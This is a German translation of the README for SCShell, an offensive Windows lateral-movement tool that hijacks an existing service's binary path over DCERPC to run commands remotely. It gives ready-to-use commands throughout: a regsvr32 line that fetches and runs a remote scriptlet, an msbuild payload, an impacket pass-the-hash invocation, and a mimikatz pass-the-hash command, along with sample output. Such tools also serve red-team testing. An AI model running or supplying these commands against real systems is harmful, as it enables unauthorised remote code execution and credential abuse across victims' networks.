
Dateiloses Lateral-Movement-Tool, das ChangeServiceConfigA verwendet, um einen Befehl auszuführen.
SCShell ist ein dateiloses Lateral-Movement-Tool, das ChangeServiceConfigA verwendet, um Befehle auszuführen. Das Besondere an diesem Tool ist, dass es keine Authentifizierung über SMB durchführt. Alles geschieht über DCERPC.
Das Dienstprogramm kann aus der Ferne verwendet werden, OHNE einen Dienst zu registrieren oder zu erstellen. Es muss auch keine Datei auf dem entfernten System ablegen* (abhängig von der verwendeten Technik zur Ausführung).
Anstatt einen Dienst zu erstellen, öffnet es einfach einen Dienst remote und ändert den binären Pfadnamen über die ChangeServiceConfigA-API.
Dann startet es den Dienst.
Sobald die Ausführung abgeschlossen ist, wird der binäre Dienstpfad auf den ursprünglichen zurückgesetzt. Der ursprüngliche Dienstpfad wird mit QueryServiceConfigA extrahiert.
Alles geschieht über DCERPC, einschließlich der Authentifizierung.

Der aktuelle Build ist in C geschrieben, aber ich werde ihn auf C# und PowerShell portieren.
Usage:
SCShell.exe target service payload domain username password
target kann auf local gesetzt werden, um die Nutzlast lokal auszuführen.
Remote-Ausführung
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password
Ich empfehle die Verwendung von C:\windows\system32\cmd.exe /c, um sicherzustellen, dass die Nutzlast nicht beendet wird, sobald der Dienst stoppt. Sie MÜSSEN den vollständigen Pfad verwenden.
Sie können auch eine msbuild-Nutzlast verwenden
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj" . administrator Password
SCShell ***
Trying to connect to 192.168.197.131
Username was provided attempting to call LogonUserA
SC_HANDLE Manager 0x009ED250
Opening XblAuthManager
SC_HANDLE Service 0x009ED1B0
Service path was changed to C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj
Service was started.
Ich verwende den XblAuthManager als Ziel, den Xbox Accessory Management Service.
scshell.py ist eine Python 2- und 3-Implementierung von SCShell. Mit dem Projekt impacket kann es einfach verwendet werden, um das gleiche Lateral Movement mittels Pass-the-Hash durchzuführen.
Installation
pip install impacket
Verwendung
python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Command need to use FULL path. No command output.
SCShell>
Sie können das C-Dienstprogramm verwenden, um Pass-the-Hash durchzuführen. Standardmäßig wird das aktuelle Prozess-Token verwendet. Sie können das aktuelle Prozess-Token mit dem üblichen Pass-the-Hash-Ansatz setzen.
Auf dem lokalen System
sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe
Führen Sie dann die SCShell.exe in der neu erstellten cmd.exe aus.
Der Code wurde unter Windows mit dem GCC-Mingw-Compiler kompiliert.
Mr.Un1k0d3r RingZer0 Team
Tazz0 für die moralische Unterstützung